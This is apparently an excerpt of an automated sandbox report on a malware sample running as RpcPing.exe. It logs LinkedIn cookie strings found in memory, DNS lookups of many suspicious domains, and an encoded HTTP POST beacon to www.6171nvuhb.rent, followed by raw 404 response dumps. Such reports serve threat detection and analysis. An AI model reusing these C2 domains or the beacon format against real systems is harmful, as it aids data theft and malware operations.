Source: RpcPing.exe, 00000004.00000003.18807468044.0000000002E99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: .www.linkedin.combscookie/ equals www.linkedin.com (Linkedin)
Source: RpcPing.exe, 00000004.00000003.18807468044.0000000002E99000.00000004.00000020.00020000.00000000.sdmp, RpcPing.exe, 00000004.00000003.19090634161.0000000002E99000.00000004.00000020.00020000.00000000.sdmp, RpcPing.exe, 00000004.00000002.23185487157.0000000002E99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: .www.linkedin.combscookiev10 equals www.linkedin.com (Linkedin)

Source: global traffic	DNS traffic detected: DNS query: www.costmoon.com
Source: global traffic	DNS traffic detected: DNS query: www.6171nvuhb.rent
Source: global traffic	DNS traffic detected: DNS query: www.motorsportgives.com
Source: global traffic	DNS traffic detected: DNS query: www.orthonow.live
Source: global traffic	DNS traffic detected: DNS query: www.adamknoxexperience.com
Source: global traffic	DNS traffic detected: DNS query: www.musiccitysauce.com
Source: global traffic	DNS traffic detected: DNS query: www.lakemontbellevue.com
Source: global traffic	DNS traffic detected: DNS query: www.vintagewins.com
Source: global traffic	DNS traffic detected: DNS query: www.spotluv.xyz
Source: global traffic	DNS traffic detected: DNS query: www.olhadeputat.com
Source: global traffic	DNS traffic detected: DNS query: www.voupeclients.com
Source: global traffic	DNS traffic detected: DNS query: www.fundraiserstuffies.com
Source: global traffic	DNS traffic detected: DNS query: www.marktuana.com
Source: global traffic	DNS traffic detected: DNS query: www.paliinfra.com
Source: global traffic	DNS traffic detected: DNS query: www.t8nia9vkpx.icu
Source: global traffic	DNS traffic detected: DNS query: www.selllaptop.org

Source: unknown

HTTP traffic detected: POST /hqcp/ HTTP/1.1Host: www.6171nvuhb.rentAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brOrigin: http://www.6171nvuhb.rentReferer: http://www.6171nvuhb.rent/hqcp/Content-Length: 199Connection: closeContent-Type: application/x-www-form-urlencodedCache-Control: max-age=0User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10Data Raw: 76 58 3d 58 35 78 77 45 6f 74 53 56 2f 52 53 53 33 4c 58 75 4e 6a 30 32 38 72 30 69 38 76 63 2f 42 30 2f 79 43 66 34 47 66 46 73 45 4b 75 31 79 79 61 67 34 34 53 56 67 46 2b 62 32 41 2f 70 59 79 6b 4f 77 66 4c 77 61 70 4b 4c 36 37 76 6c 72 62 44 72 58 6b 62 6b 45 78 37 41 32 61 56 41 66 6d 4e 62 6d 45 6b 37 52 78 31 38 34 74 68 6e 2b 79 2b 5a 6b 42 50 6d 4d 6d 57 6b 4b 6f 72 6b 45 73 66 42 2b 49 76 74 51 6b 74 6c 79 50 4f 4c 32 7a 55 39 52 74 44 30 38 56 42 6f 68 5a 69 41 70 62 4c 76 46 54 49 4b 59 59 2b 67 4b 62 31 58 53 61 66 54 6b 32 65 6c 50 49 45 4c 67 45 4a 4b 46 76 2f 31 58 41 3d 3d Data Ascii: vX=X5xwEotSV/RSS3LXuNj028r0i8vc/B0/yCf4GfFsEKu1yyag44SVgF+b2A/pYykOwfLwapKL67vlrbDrXkbkEx7A2aVAfmNbmEk7Rx184thn+y+ZkBPmMmWkKorkEsfB+IvtQktlyPOL2zU9RtD08VBohZiApbLvFTIKYY+gKb1XSafTk2elPIELgEJKFv/1XA==

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlContent-Length: 626Connection: closeDate: Wed, 03 Jul 2024 15:34:51 GMTServer: ApacheData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 0a 20 20 20 45 72 72 6f 72 20 34 30 34 20 2d 20 4e 6f 74 20 66 6f 75 6e 64 0a 20 20 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 61 72 69 61 6c 3b 22 3e 0a 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 30 61 33 32 38 63 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 30 65 6d 3b 22 3e 0a 20 20 20 45 72 72 6f 72 20 34 30 34 20 2d 20 4e 6f 74 20 66 6f 75 6e 64 0a 20 20 3c 2f 68 31 3e 0a 20 20 3c 70 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 30 2e 38 65 6d 3b 22 3e 0a 20 20 20 59 6f 75 72 20 62 72 6f 77 73 65 72 20 63 61 6e 27 74 20 66 69 6e 64 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 20 63 6f 72 72 65 73 70 6f 6e 64 69 6e 67 20 74 6f 20 74 68 65 20 55 52 4c 20 79 6f 75 20 74 79 70 65 64 20 69 6e 2e 0a 20 20 3c 2f 70 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Error 404 - Not found </title> <meta content="text/html; charset=utf-8" http-equiv="Content-Type"> <meta content="no-cache" http-equiv="cache-control"> </head> <body style="font-family:arial;"> <h1 style="color:#0a328c;font-size:1.0em;"> Error 404 - Not found </h1> <p style="font-size:0.8em;"> Your browser can't find the document corresponding to the URL you typed in. </p> </body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeDate: Wed, 03 Jul 2024 15:35:31 GMTServer: ApacheContent-Encoding: gzipData Raw: 31 38 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 51 4b 4f e3 30 10 be f7 57 cc 7a 0f 9c 1c 37 94 43 9b 26 1c b6 ad b4 48 85 45 28 88 e5 68 62 b7 b1 e4 78 82 33 21 0d bf 1e 27 e5 b1 20 b4 27 8f ed ef 31 f3 4d fa 63 fd 67 95 df 5f 6f a0 a4 ca c2 f5 ed af ed c5 0a 18 17 e2 6e b6 12 62 9d af e1 ef ef fc 72 0b 71 34 85 dc 4b d7 18 32 e8 a4 15 62 73 c5 26 ac 24 aa 13 21 ba ae 8b ba 59 84 7e 2f f2 1b 71 18 b4 e2 81 fc 5a 72 fa 87 19 29 52 ec 7c 92 8e 86 56 ba 7d c6 b4 63 70 a8 6c f2 e9 e6 9a ec 1b f9 78 b1 58 1c 55 83 06 a4 a5 96 2a 9c 90 92 21 ab 87 0a 36 de a3 87 b3 e9 19 70 b8 42 82 1d b6 4e 0d 10 f1 8e 49 2b 4d 12 0a 74 a4 1d 65 8c f4 81 c4 d0 ce 12 8a 52 fa 46 53 d6 d2 8e cf 59 08 85 6a ae 1f 5b f3 94 b1 d5 11 ce f3 be d6 83 37 7c 51 71 c8 0b 59 94 fa 33 6b 7c e2 83 95 47 3b b6 2c 5e 7b 4e 1f 50 f5 d0 50 6f 75 c6 76 01 c0 77 b2 32 b6 4f a4 37 d2 2e 8f 16 65 fc 86 28 d0 a2 4f 7e 4e e5 ec 74 5e 2c 47 7c 63 9e 75 12 16 a3 ab 23 fa 3f a3 97 f1 d8 71 fd a6 f6 c1 9f 46 f3 77 fe 3d b6 1e 1e 3c 76 8d f6 50 48 77 12 d2 33 4e 01 95 1a 14 16 6d 15 e2 0a b1 79 af 9b 1a 9d 32 6e 0f 84 e3 ef ed cd 16 7a 6c 81 42 38 0a 8c 8b c6 c0 eb 60 9a 8a 61 ce b0 ef 31 e1 f3 c9 0b 6c 60 6d 75 72 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 189}QKO0Wz7C&HE(hbx3!' '1Mcg_onbrq4K2bs&$!Y~/qZr)R\|V}cplxXU*!6pBNI+MteRFSYj[7\|QqY3k\|G;,^{NPPouvw2O7.e(O~Nt^,G\|cu#?qFw=<vPHw3Nmy2nzlB8`a1l`mur0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeDate: Wed, 03 Jul 2024 15:35:34 GMTServer: ApacheContent-Encoding: gzipData Raw: 31 38 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 51 4b 4f e3 30 10 be f7 57 cc 7a 0f 9c 1c 37 94 43 9b 26 1c b6 ad b4 48 85 45 28 88 e5 68 62 b7 b1 e4 78 82 33 21 0d bf 1e 27 e5 b1 20 b4 27 8f ed ef 31 f3 4d fa 63 fd 67 95 df 5f 6f a0 a4 ca c2 f5 ed af ed c5 0a 18 17 e2 6e b6 12 62 9d af e1 ef ef fc 72 0b 71 34 85 dc 4b d7 18 32 e8 a4 15 62 73 c5 26 ac 24 aa 13 21 ba ae 8b ba 59 84 7e 2f f2 1b 71 18 b4 e2 81 fc 5a 72 fa 87 19 29 52 ec 7c 92 8e 86 56 ba 7d c6 b4 63 70 a8 6c f2 e9 e6 9a ec 1b f9 78 b1 58 1c 55 83 06 a4 a5 96 2a 9c 90 92 21 ab 87 0a 36 de a3 87 b3 e9 19 70 b8 42 82 1d b6 4e 0d 10 f1 8e 49 2b 4d 12 0a 74 a4 1d 65 8c f4 81 c4 d0 ce 12 8a 52 fa 46 53 d6 d2 8e cf 59 08 85 6a ae 1f 5b f3 94 b1 d5 11 ce f3 be d6 83 37 7c 51 71 c8 0b 59 94 fa 33 6b 7c e2 83 95 47 3b b6 2c 5e 7b 4e 1f 50 f5 d0 50 6f 75 c6 76 01 c0 77 b2 32 b6 4f a4 37 d2 2e 8f 16 65 fc 86 28 d0 a2 4f 7e 4e e5 ec 74 5e 2c 47 7c 63 9e 75 12 16 a3 ab 23 fa 3f a3 97 f1 d8 71 fd a6 f6 c1 9f 46 f3 77 fe 3d b6 1e 1e 3c 76 8d f6 50 48 77 12 d2 33 4e 01 95 1a 14 16 6d 15 e2 0a b1 79 af 9b 1a 9d 32 6e 0f 84 e3 ef ed cd 16 7a 6c 81 42 38 0a 8c 8b c6 c0 eb 60 9a 8a 61 ce b0 ef 31 e1 f3 c9 0b 6c 60 6d 75 72 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 189}QKO0Wz7C&HE(hbx3!' '1Mcg_onbrq4K2bs&$!Y~/qZr)R\|V}cplxXU*!6pBNI+MteRFSYj[7\|QqY3k\|G;,^{NPPouvw2O7.e(O~Nt^,G\|cu#?qFw=<vPHw3Nmy2nzlB8`a1l`mur0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeDate: Wed, 03 Jul 2024 15:35:37 GMTServer: ApacheContent-Encoding: gzipData Raw: 31 38 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 51 4b 4f e3 30 10 be f7 57 cc 7a 0f 9c 1c 37 94 43 9b 26 1c b6 ad b4 48 85 45 28 88 e5 68 62 b7 b1 e4 78 82 33 21 0d bf 1e 27 e5 b1 20 b4 27 8f ed ef 31 f3 4d fa 63 fd 67 95 df 5f 6f a0 a4 ca c2 f5 ed af ed c5 0a 18 17 e2 6e b6 12 62 9d af e1 ef ef fc 72 0b 71 34 85 dc 4b d7 18 32 e8 a4 15 62 73 c5 26 ac 24 aa 13 21 ba ae 8b ba 59 84 7e 2f f2 1b 71 18 b4 e2 81 fc 5a 72 fa 87 19 29 52 ec 7c 92 8e 86 56 ba 7d c6 b4 63 70 a8 6c f2 e9 e6 9a ec 1b f9 78 b1 58 1c 55 83 06 a4 a5 96 2a 9c 90 92 21 ab 87 0a 36 de a3 87 b3 e9 19 70 b8 42 82 1d b6 4e 0d 10 f1 8e 49 2b 4d 12 0a 74 a4 1d 65 8c f4 81 c4 d0 ce 12 8a 52 fa 46 53 d6 d2 8e cf 59 08 85 6a ae 1f 5b f3 94 b1 d5 11 ce f3 be d6 83 37 7c 51 71 c8 0b 59 94 fa 33 6b 7c e2 83 95 47 3b b6 2c 5e 7b 4e 1f 50 f5 d0 50 6f 75 c6 76 01 c0 77 b2 32 b6 4f a4 37 d2 2e 8f 16 65 fc 86 28 d0 a2 4f 7e 4e e5 ec 74 5e 2c 47 7c 63 9e 75 12 16 a3 ab 23 fa 3f a3 97 f1 d8 71 fd a6 f6 c1 9f 46 f3 77 fe 3d b6 1e 1e 3c 76 8d f6 50 48 77 12 d2 33 4e 01 95 1a 14 16 6d 15 e2 0a b1 79 af 9b 1a 9d 32 6e 0f 84 e3 ef ed cd 16 7a 6c 81 42 38 0a 8c 8b c6 c0 eb 60 9a 8a 61 ce b0 ef 31 e1 f3 c9 0b 6c 60 6d 75 72 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 189}QKO0Wz7C&HE(hbx3!' '1Mcg_onbrq4K2bs&$!Y~/qZr)R\|V}cplxXU*!6pBNI+MteRFSYj[7\|QqY3k\|G;,^{NPPouvw2O7.e(O~Nt^,G\|cu#?qFw=<vPHw3Nmy2nzlB8`a1l`mur0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlContent-Length: 626Connection: closeDate: Wed, 03 Jul 2024 15:35:39 GMTServer: ApacheData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 0a 20 20 20 45 72 72 6f 72 20 34 30 34 20 2d 20 4e 6f 74 20 66 6f 75 6e 64 0a 20 20 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 61 72 69 61 6c 3b 22 3e 0a 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 30 61 33 32 38 63 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 30 65 6d 3b 22 3e 0a 20 20 20 45 72 72 6f 72 20 34 30 34 20 2d 20 4e 6f 74 20 66 6f 75 6e 64 0a 20 20 3c 2f 68 31 3e 0a 20 20 3c 70 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 30 2e 38 65 6d 3b 22 3e 0a 20 20 20 59 6f 75 72 20 62 72 6f 77 73 65 72 20 63 61 6e 27 74 20 66 69 6e 64 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 20 63 6f 72 72 65 73 70 6f 6e 64 69 6e 67 20 74 6f 20 74 68 65 20 55 52 4c 20 79 6f 75 20 74 79 70 65 64 20 69 6e 2e 0a 20 20 3c 2f 70 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Error 404 - Not found </title> <meta content="text/html; charset=utf-8" http-equiv="Content-Type"> <meta content="no-cache" http-equiv="cache-control"> </head> <body style="font-family:arial;"> <h1 style="color:#0a328c;font-size:1.0em;"> Error 404 - Not found </h1> <p style="font-size:0.8em;"> Your browser can't find the document corresponding to the URL you typed in. </p> </body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 03 Jul 2024 15:37:45 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://lakemontbellevue.net/wp-json/>; rel="https://api.w.org/"Vary: Accept-Encodinghost-header: c2hhcmVkLmJsdWVob3N0LmNvbQ==X-Newfold-Cache-Level: 2X-Endurance-Cache-Level: 2X-nginx-cache: WordPressCF-Cache-Status: DYNAMICSet-Cookie: _cfuvid=J8TlPgwK.uyiwfHuPH9woqnGDB4R0kvbtowxQTqFaig-1720021065357-0.0.1.1-604800000; path=/; domain=.www.lakemontbellevue.com; HttpOnlyServer: cloudflareCF-RAY: 89d7f5687c802ca3-ORDContent-Encoding: gzipData Raw: 32 61 65 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 7d 6d 77 db 36 b2 f0 e7 e4 57 30 ca 69 6a 2d 29 59 92 5f 63 57 e9 c6 76 ec a4 b1 13 af e5 b4 4f 6f d3 d3 03 91 23 11 16 08 30 00 28 59 f1 f5 7f 7f ce 0c 48 8a b2 e5 b7 38 dd de ec d6 1c 80 c0 cc 60 30 18 cc 00 20 f4 d3 b3 bd 8f bb a7 bf 1f bf f1 62 9b 88 57 4f 7f c2 87 27 98 1c 76 6b 20 1b 9f 7a 35 cc 03 16 bd 7a e2 3d 7d f2 53 02 96 79 b1 b5 69 03 be 64 7c dc ad fd bf c6 a7 d7 8d 5d 95 a4 cc f2 be 80 9a 17 2a 69 41 da 6e ed dd 9b 2e 44 43 a8 bd 2a aa 49 96 40 b7 36 e6 30 49 95 b6 95 92 13 1e d9 b8 1b c1 98 87 d0 a0 44 e0 71 c9 2d 67 a2 61 42 26 a0 db 9e 61 09 63 a6 0d d8 6e ed d3 e9 7e 63 b3 f6 ea e9 1c fa 1f b5 ea 2b 6b 7e 2c 91 ff 28 15 97 11 9c 07 de 40 09 a1 26 3f 7a cb 54 e5 59 a3 e1 9d c6 dc 78 86 5b f0 b8 f1 54 6a 79 c2 bf 42 e4 4d b8 8d 3d 1b 83 f7 bb 62 c6 7a bd 37 1f bd 54 64 43 2e bd 71 67 a5 d9 f2 1a 24 00 b3 b5 bc 3c c5 02 cd 50 25 cb 13 a5 a3 54 83 31 cb ae a8 59 36 a0 96 bd 46 03 f9 b6 dc 0a 78 75 cc 86 e0 49 65 bd 81 ca 64 e4 35 bc 43 36 82 44 49 eb ed aa 24 c9 24 b7 53 ef b5 31 2a e4 cc 72 25 7f 5a 76 d5 8a e6 a5 5a a5 a0 ed b4 5b 53 c3 2d a1 50 2c 15 11 82 fc eb 53 af 86 6d 5b 54 9c 30 55 4a 3f 90 95 1b f1 a2 ec fe 42 b9 57 70 df 0b 95 09 35 4f ad 67 a7 29 74 6b 2c 4d 05 0f e9 f5 b2 88 fc 33 83 c5 42 c1 8c e9 d6 48 c2 0d 13 c6 90 b0 c6 50 b3 34 ae bd ba a8 fd 9b a8 9d db da 56 ad e8 0a 57 a4 a9 f4 b0 16 d4 fe ed 4a 6e fd 71 51 fb 37 d2 a8 6d d5 7e 83 7e 8f 5b c0 97 3c aa d4 13 39 bb 7d 10 02 c6 19 34 25 d8 e5 e7 13 e8 1b 57 3a d3 e2 ae d2 b5 a0 46 32 d8 ba ab ed 41 2d 02 d7 72 4c 21 4f 22 54 09 78 56 91 ba dd 5e fb c5 f3 d6 ca cb 6d e3 a9 c1 80 87 9c 09 2f e7 b1 e9 7d cc b4 b7 a3 98 8e 3c 35 f0 f6 b8 86 d0 2a 6d 3c a6 c1 03 01 a1 85 c8 Data Ascii: 2ae3}mw6W0ij-)Y_cWvOo#0(YH8`0 bWO'vk z5z=}Syid\|]iAn.DCI@60IDq-gaB&acn~c+k~,(@&?zTYx[TjyBM=bz7TdC.qg$<P%T1Y6FxuIed5C6DI$$S1*r%ZvZ[S-P,Sm[T0UJ?BWp5Og)tk,M3BHP4VWJnqQ7m~~[<9}4%W:F2A-rL!O"TxV
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 03 Jul 2024 15:37:47 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://lakemontbellevue.net/wp-json/>; rel="https://api.w.org/"Vary: Accept-Encodinghost-header: c2hhcmVkLmJsdWVob3N0LmNvbQ==X-Newfold-Cache-Level: 2X-Endurance-Cache-Level: 2X-nginx-cache: WordPressCF-Cache-Status: DYNAMICSet-Cookie: _cfuvid=q78Vdp1Tqcep1iwnGWiwInnpBJxldweYeAbg4IJrKkQ-1720021067938-0.0.1.1-604800000; path=/; domain=.www.lakemontbellevue.com; HttpOnlyServer: cloudflareCF-RAY: 89d7f5793b9861c2-ORDContent-Encoding: gzipData Raw: 32 61 65 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 7d 6d 77 db 36 b2 f0 e7 e4 57 30 ca 69 6a 2d 29 59 92 5f 63 57 e9 c6 76 ec a4 b1 13 af e5 b4 4f 6f d3 d3 03 91 23 11 16 08 30 00 28 59 f1 f5 7f 7f ce 0c 48 8a b2 e5 b7 38 dd de ec d6 1c 80 c0 cc 60 30 18 cc 00 20 f4 d3 b3 bd 8f bb a7 bf 1f bf f1 62 9b 88 57 4f 7f c2 87 27 98 1c 76 6b 20 1b 9f 7a 35 cc 03 16 bd 7a e2 3d 7d f2 53 02 96 79 b1 b5 69 03 be 64 7c dc ad fd bf c6 a7 d7 8d 5d 95 a4 cc f2 be 80 9a 17 2a 69 41 da 6e ed dd 9b 2e 44 43 a8 bd 2a aa 49 96 40 b7 36 e6 30 49 95 b6 95 92 13 1e d9 b8 1b c1 98 87 d0 a0 44 e0 71 c9 2d 67 a2 61 42 26 a0 db 9e 61 09 63 a6 0d d8 6e ed d3 e9 7e 63 b3 f6 ea e9 1c fa 1f b5 ea 2b 6b 7e 2c 91 ff 28 15 97 11 9c 07 de 40 09 a1 26 3f 7a cb 54 e5 59 a3 e1 9d c6 dc 78 86 5b f0 b8 f1 54 6a 79 c2 bf 42 e4 4d b8 8d 3d 1b 83 f7 bb 62 c6 7a bd 37 1f bd 54 64 43 2e bd 71 67 a5 d9 f2 1a 24 00 b3 b5 bc 3c c5 02 cd 50 25 cb 13 a5 a3 54 83 31 cb ae a8 59 36 a0 96 bd 46 03 f9 b6 dc 0a 78 75 cc 86 e0 49 65 bd 81 ca 64 e4 35 bc 43 36 82 44 49 eb ed aa 24 c9 24 b7 53 ef b5 31 2a e4 cc 72 25 7f 5a 76 d5 8a e6 a5 5a a5 a0 ed b4 5b 53 c3 2d a1 50 2c 15 11 82 fc eb 53 af 86 6d 5b 54 9c 30 55 4a 3f 90 95 1b f1 a2 ec fe 42 b9 57 70 df 0b 95 09 35 4f ad 67 a7 29 74 6b 2c 4d 05 0f e9 f5 b2 88 fc 33 83 c5 42 c1 8c e9 d6 48 c2 0d 13 c6 90 b0 c6 50 b3 34 ae bd ba a8 fd 9b a8 9d db da 56 ad e8 0a 57 a4 a9 f4 b0 16 d4 fe ed 4a 6e fd 71 51 fb 37 d2 a8 6d d5 7e 83 7e 8f 5b c0 97 3c aa d4 13 39 bb 7d 10 02 c6 19 34 25 d8 e5 e7 13 e8 1b 57 3a d3 e2 ae d2 b5 a0 46 32 d8 ba ab ed 41 2d 02 d7 72 4c 21 4f 22 54 09 78 56 91 ba dd 5e fb c5 f3 d6 ca cb 6d e3 a9 c1 80 87 9c 09 2f e7 b1 e9 7d cc b4 b7 a3 98 8e 3c 35 f0 f6 b8 86 d0 2a 6d 3c a6 c1 03 01 a1 85 c8 Data Ascii: 2ae3}mw6W0ij-)Y_cWvOo#0(YH8`0 bWO'vk z5z=}Syid\|]iAn.DCI@60IDq-gaB&acn~c+k~,(@&?zTYx[TjyBM=bz7TdC.qg$<P%T1Y6FxuIed5C6DI$$S1*r%ZvZ[S-P,Sm[T0UJ?BWp5Og)tk,M3BHP4VWJnqQ7m~~[<9}4%W:F2A-rL!O"TxV
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 03 Jul 2024 15:37:50 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://lakemontbellevue.net/wp-json/>; rel="https://api.w.org/"Vary: Accept-Encodinghost-header: c2hhcmVkLmJsdWVob3N0LmNvbQ==X-Newfold-Cache-Level: 2X-Endurance-Cache-Level: 2X-nginx-cache: WordPressCF-Cache-Status: DYNAMICSet-Cookie: _cfuvid=QM.78s0mfIAeC4YRoX5T.1X2oVj_9R4U_FraGL8j2lY-1720021070959-0.0.1.1-604800000; path=/; domain=.www.lakemontbellevue.com; HttpOnlyServer: cloudflareCF-RAY: 89d7f589eaa62d25-ORDContent-Encoding: gzipData Raw: 32 61 65 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 7d 6d 77 db 36 b2 f0 e7 e4 57 30 ca 69 6a 2d 29 59 92 5f 63 57 e9 c6 76 ec a4 b1 13 af e5 b4 4f 6f d3 d3 03 91 23 11 16 08 30 00 28 59 f1 f5 7f 7f ce 0c 48 8a b2 e5 b7 38 dd de ec d6 1c 80 c0 cc 60 30 18 cc 00 20 f4 d3 b3 bd 8f bb a7 bf 1f bf f1 62 9b 88 57 4f 7f c2 87 27 98 1c 76 6b 20 1b 9f 7a 35 cc 03 16 bd 7a e2 3d 7d f2 53 02 96 79 b1 b5 69 03 be 64 7c dc ad fd bf c6 a7 d7 8d 5d 95 a4 cc f2 be 80 9a 17 2a 69 41 da 6e ed dd 9b 2e 44 43 a8 bd 2a aa 49 96 40 b7 36 e6 30 49 95 b6 95 92 13 1e d9 b8 1b c1 98 87 d0 a0 44 e0 71 c9 2d 67 a2 61 42 26 a0 db 9e 61 09 63 a6 0d d8 6e ed d3 e9 7e 63 b3 f6 ea e9 1c fa 1f b5 ea 2b 6b 7e 2c 91 ff 28 15 97 11 9c 07 de 40 09 a1 26 3f 7a cb 54 e5 59 a3 e1 9d c6 dc 78 86 5b f0 b8 f1 54 6a 79 c2 bf 42 e4 4d b8 8d 3d 1b 83 f7 bb 62 c6 7a bd 37 1f bd 54 64 43 2e bd 71 67 a5 d9 f2 1a 24 00 b3 b5 bc 3c c5 02 cd 50 25 cb 13 a5 a3 54 83 31 cb ae a8 59 36 a0 96 bd 46 03 f9 b6 dc 0a 78 75 cc 86 e0 49 65 bd 81 ca 64 e4 35 bc 43 36 82 44 49 eb ed aa 24 c9 24 b7 53 ef b5 31 2a e4 cc 72 25 7f 5a 76 d5 8a e6 a5 5a a5 a0 ed b4 5b 53 c3 2d a1 50 2c 15 11 82 fc eb 53 af 86 6d 5b 54 9c 30 55 4a 3f 90 95 1b f1 a2 ec fe 42 b9 57 70 df 0b 95 09 35 4f ad 67 a7 29 74 6b 2c 4d 05 0f e9 f5 b2 88 fc 33 83 c5 42 c1 8c e9 d6 48 c2 0d 13 c6 90 b0 c6 50 b3 34 ae bd ba a8 